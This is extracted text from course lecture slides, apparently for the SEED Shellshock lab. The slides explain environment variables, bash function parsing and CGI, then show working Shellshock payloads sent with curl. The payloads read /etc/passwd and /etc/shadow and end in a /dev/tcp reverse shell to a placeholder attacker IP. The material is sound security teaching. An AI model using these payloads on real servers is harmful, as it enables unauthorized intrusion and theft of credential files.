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Announcements

Lab 1 (Set-UID) due on Sunday 2/12

Lab 2 (Shellshock) due on Sunday 2/19 

Friday’s class will be optional

• Help session for lab 1 

• If you don’t need help, there is no need to come to class ☺
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Recap

terminal
(parent process)

A process is an instance of a program running on a computer
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Environment variables are a set 

of key-value pairs that can control 

the behavior of a process

Each process has a set of 

environment variables

variable name value

PATH /usr/local/bin

USER seed

PWD /home/seed/my_folder

SHELL /bin/bash
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Environment variables are a set 

of key-value pairs that can control 

the behavior of a process

Each process has a set of 

environment variables

variable name value

PATH /usr/local/bin

USER seed

PWD /home/seed/my_folder

SHELL /bin/bash

Where to look for programs when absolute path is not provided?  /usr/local/bin
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Environment variables are a set 

of key-value pairs that can control 

the behavior of a process

Each process has a set of 

environment variables

variable name value

PATH /usr/local/bin

USER seed

PWD /home/seed/my_folder

SHELL /bin/bash

foo “my new variable!”

We can define our own environment variables! export foo=“my new variable!”
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In Linux, all new processes are forked() from an existing process

./my_program
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When a new process gets spawned, it will inherit environment variables from its parent**

**some exceptions
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If we are in a shell, we can 

also define Shell functions

foo() { echo “hello world”; }

If we export this function, the shell 

function will also get passed onto 

future children of the parent 
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In Linux, all new processes are forked() from an existing process

foo=‘() { echo “hello world”; }’ 

We can also define shell functions as environment variables 

name value

foo



11

terminal
(parent process)

e
n
v
iro

n
m

e
n
t v

a
ria

b
le

s

/bin/bash
(child process)

e
n
v
iro

n
m

e
n
t v

a
ria

b
le

s

If we spawn /bin/bash as a child 

process, a special thing happens
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If we spawn /bin/bash as a child 

process, a special thing happens

1. Environment variables 

are inherited from the 

parent*

2. Bash will search

through the env. 

variables for shell 

functions
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1. Environment variables 

are inherited from the 

parent*

2. Bash will search 

through the env. 

variables for shell 

functions

How does bash look for 

potential new shell functions?

variable name value

PATH /usr/local/bin

USER seed

PWD /home/seed/my_folder

SHELL /bin/bash

foo () { echo “hello world”; }
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1. Environment variables 

are inherited from the 

parent*

2. Bash will search 

through the env. 

variables for shell 

functions

How does bash look for 

potential new shell functions?

variable name value

PATH /usr/local/bin

USER seed

PWD /home/seed/my_folder

SHELL /bin/bash

foo () { echo “hello world”; }

(In a vulnerable version of bash)

It looks at the first 4 characters for a 

valid function definition 

() {
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variable name value

PATH /usr/local/bin

USER seed

PWD /home/seed/my_folder

SHELL /bin/bash

foo () { echo “hello world”; }; echo “extra”;

foo=‘() { echo “hello world”; }; echo “extra”’
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variable name value

PATH /usr/local/bin

USER seed

PWD /home/seed/my_folder

SHELL /bin/bash

foo () { echo “hello world”; }; echo “extra”;

foo=‘() { echo “hello world”; }; echo “extra”’

Bash recognizes this as a valid function definition, and begins to parse the string
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foo=‘() { echo “hello world”; }; echo “extra”’
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foo=‘() { echo “hello world”; }; echo “extra”’
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foo=‘() { echo “hello world”; }; echo “extra”’
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Two conditions are needed to exploit the vulnerability

• The target process must run a vulnerable version of bash

• The target process gets untrusted user input via 

environment variables

Execute a bash shell Trigger flawed parsing logic Shellshock

Env variables containing 

function definitions

The shellshock vulnerability is a bug in the code 

when converting environment variables to function 

definitions, which allows for an attacker to execute 

arbitrary code
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We will be attacking a web server that is 

running a vulnerable version of bash
• www.seedlab-shellshock.com

How does a web server accept new 

environment variables?

How do we send our malicious 

payload?
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The Internet

(Part 1)
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On the internet, we often communicate in a client server architecture

Client Server (victim)

“Give me this picture located at this URL”

Backend
Program
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On the internet, we often communicate in a client server architecture

Client Server (victim)

“Give me this picture located at this URL”

Internet

Backend
Program

Hosts on the internet must communicate with each other 

through various internet protocols

This needs to translated into a protocol 

that a computer can understand
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Client Server (victim)

Internet

Backend
Program

HTTP is the common protocol for 

transmitting internet content

When we want to get 

something from a server, we 

issue an HTTP Request

HTTP 
Request
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Client Server (victim)

Internet

When we want to get 

something from a server, we 

issue an HTTP Request

HTTP 
Request

HTTP Request have a specific format

Request

Headers

Body
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Client Server (victim)

Internet

When we want to get 

something from a server, we 

issue an HTTP Request

HTTP 
Request

HTTP Request have a specific format

Request

Headers

Body

The Request section contains 

• The HTTP Method (GET, 

POST, DELETE)

• The URL

Method URL

GET http://www.seedlab-shellshock.com/cgi-bin/vul.cgi

GET http://www.cs.montana.edu/pearsall/dog.jpg
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Client Server (victim)

Internet

When we want to get 

something from a server, we 

issue an HTTP Request

HTTP 
Request

HTTP Request have a specific format

Request

Headers

Body

The Headers section contains 

information about they request 

(key value pairs)

!!! We can add whatever headers we want to an HTTP request
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Client Server (victim)

Internet

HTTP 
Request

Request

Headers

Body

HTTP

Request

10.9.0.80 

(www.seedlab-shellshock.com)

CGI 
Application

Call CGI to 

process request

Send response 

back to server

Common Gateway Interface (CGI) server is where we 

have a server middleman that creates external programs 

to handle requests
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Client Server (victim)

Internet

HTTP 
Response

Request

Headers

Body

HTTP

Request

10.9.0.80 

(www.seedlab-shellshock.com)

CGI 
Application

Call CGI to 

process request

Send response 

back to server

After the server fetches the content, its sends it back to the user 

as an HTTP Response
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Client Server (victim)

Internet

HTTP 
Response

Request

Headers

Body

HTTP

Request

10.9.0.80 

(www.seedlab-shellshock.com)

CGI 
Application

Call CGI to 

process request

Send response 

back to server

After the server fetches the content, its sends it back to the user 

as an HTTP Response
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Viewing HTTP Requests/Response with Chrome Developer Tools
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Take Home Message: 

• Web servers quite often need to run other 

programs to respond to a request. 

• It’s common to translate request 

parameters into environment variables 

• Environment variables are then passed 

onto a child process (such as bash), to do 

the actual work

The most important part: a web server will translate HTTP 

request header fields into environment variables
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The Gameplan

1. Send an HTTP Request to the victim server that contains our 

shellshock payload in the HTTP Header fields

Request

Headers

Body
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The Gameplan

1. Send an HTTP Request to the victim server that contains our 

shellshock payload in the HTTP Header fields

2. The web server will fork() and create a bash shell that will

handle our request

Request

Headers

Body

CGI 
Application

(bash)
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The Gameplan

1. Send an HTTP Request to the victim server that contains our 

shellshock payload in the HTTP Header fields

2. The web server will fork() and create a bash shell that will 

handle our request

3. The new bash process begins to parse our HTTP header 

fields for environment varaibles

Request

Headers

Body

CGI 
Application

(bash)
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The Gameplan

1. Send an HTTP Request to the victim server that contains our 

shellshock payload in the HTTP Header fields

2. The web server will fork() and create a bash shell that will 

handle our request

3. The new bash process begins to parse our HTTP header 

fields for environment varaibles

Request

Headers

Body

CGI 
Application

(bash)

SHELLSHOCK!

The server will run our commands
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How do we send HTTP requests?

getenv.cgi is a script we 

can hit that will print out the 

CGI process’s environment 

variables
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curl

curl -A “my data” –v www.seedlab-shellshock.com/cgi-bin/getenv.cgi

-A can be used to set specific fields in the HTTP request header
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curl

curl -A “my data” –v www.seedlab-shellshock.com/cgi-bin/getenv.cgi

-A can be used to set specific fields in the HTTP request header

Our information that we passed with the –A flag eventually got 

converted into an environment variable!!!
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Our first shellshock

This server is running a vulnerable version of bash

This server gets untrusted user input for environment variables

Let’s first try to get the server to print out some basic message
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Our first shellshock

Let’s first try to get the server to print out some basic message

curl –A                    http://www.seedlab-shellshock.com/cgi-bin/vul.cgi ???
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Our first shellshock

Let’s first try to get the server to print out some basic message

curl –A "() { ??? };    " http://www.seedlab-shellshock.com/cgi-bin/vul.cgi 
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Our first shellshock

Let’s first try to get the server to print out some basic message

curl –A "() { echo :;}; echo ‘this server is sus’; “   [URL]

[URL]  = http://www.seedlab-shellshock.com/cgi-bin/vul.cgi 

Bogus Shell function Malicious command to be executed

We also must add another echo statement beforehand (??)
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Our first shellshock

Let’s first try to get the server to print out some basic message

curl –A "() { echo :;}; echo ‘this server is sus’; “   [URL]

[URL]  = http://www.seedlab-shellshock.com/cgi-bin/vul.cgi 

Bogus Shell function Malicious command to be executed

We also must add another echo statement beforehand (??)
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Our first shellshock



49

Our first shellshock Print out contents of a file we shouldn’t see?

curl –A "() { echo :;}; [URL]???
[URL]  = http://www.seedlab-shellshock.com/cgi-bin/vul.cgi 
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Our first shellshock Print out contents of a file we shouldn’t see?

curl –A "() { echo :;}; echo; /bin/cat /etc/passwd”[URL]

[URL]  = http://www.seedlab-shellshock.com/cgi-bin/vul.cgi 

!!! We must provide the absolute path of things such as cat, ls, touch etc
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Our first shellshock Print out contents of a file we shouldn’t see?

curl –A "() { echo :;}; echo; /bin/cat /etc/shadow”[URL]

[URL]  = http://www.seedlab-shellshock.com/cgi-bin/vul.cgi 

What about /etc/shadow ??

This one does not work  ….. Why?
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What other commands could we run??
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Our first shellshock

Ideally, we want to get control of this webserver. Maybe we can get a root shell?

curl –A "() { echo :;}; echo; /bin/sh”[URL]

[URL]  = http://www.seedlab-shellshock.com/cgi-bin/vul.cgi 
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Our first shellshock

Ideally, we want to get control of this webserver. Maybe we can get a root shell?

curl –A "() { echo :;}; echo; /bin/sh”[URL]

[URL]  = http://www.seedlab-shellshock.com/cgi-bin/vul.cgi 

Does not work…… or does it?
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Our first shellshock

Ideally, we want to get control of this webserver. Maybe we can get a root shell?

curl –A "() { echo :;}; echo; /bin/sh”[URL]

[URL]  = http://www.seedlab-shellshock.com/cgi-bin/vul.cgi 

Does not work…… or does it?
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Reverse Shell

A reverse shell is a shell, but it redirects stdin, stdout, 

stderr back to our machine

redirects input to a network connection

Bash is now listening for 

input on a network 

connection
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Reverse Shell

A reverse shell is a shell, but it redirects stdin, stdout, 

stderr back to our machine

redirects input to a network connection

Bash is now listening for 

input on a network 

connection

redirects output to a network connection
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Reverse Shell

A reverse shell is a shell, but it redirects stdin, stdout, 

stderr back to our machine

redirects input to a network connection

Bash is now listening for 

input on a network 

connection

redirects output to a network connection

ls -al
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Reverse Shell A reverse shell is a shell, but it redirects stdin, stdout, stderr back to our machine
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Reverse Shell A reverse shell is a shell, but it redirects stdin, stdout, stderr back to our machine
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Reverse Shell A reverse shell is a shell, but it redirects stdin, stdout, stderr back to our machine
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Reverse Shell A reverse shell is a shell, but it redirects stdin, stdout, stderr back to our machine

Attacker terminal #2: Craft a payload that creates a reverse shell (back to attacker terminal 1)

$ /bin/bash –i > /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0<&1 2>&1

start an interactive bash shell on the server 

Whose input (stdin) comes from a TCP connection, 

And whose output (stdout and stderr) goes to the same TCP 

connection

> Output
< input

0 = stdin
1 = stdout
2 = stderr
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Reverse Shell A reverse shell is a shell, but it redirects stdin, stdout, stderr back to our machine

$ /bin/bash –i > /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0<&1 2>&1

The IP and port of our netcat server
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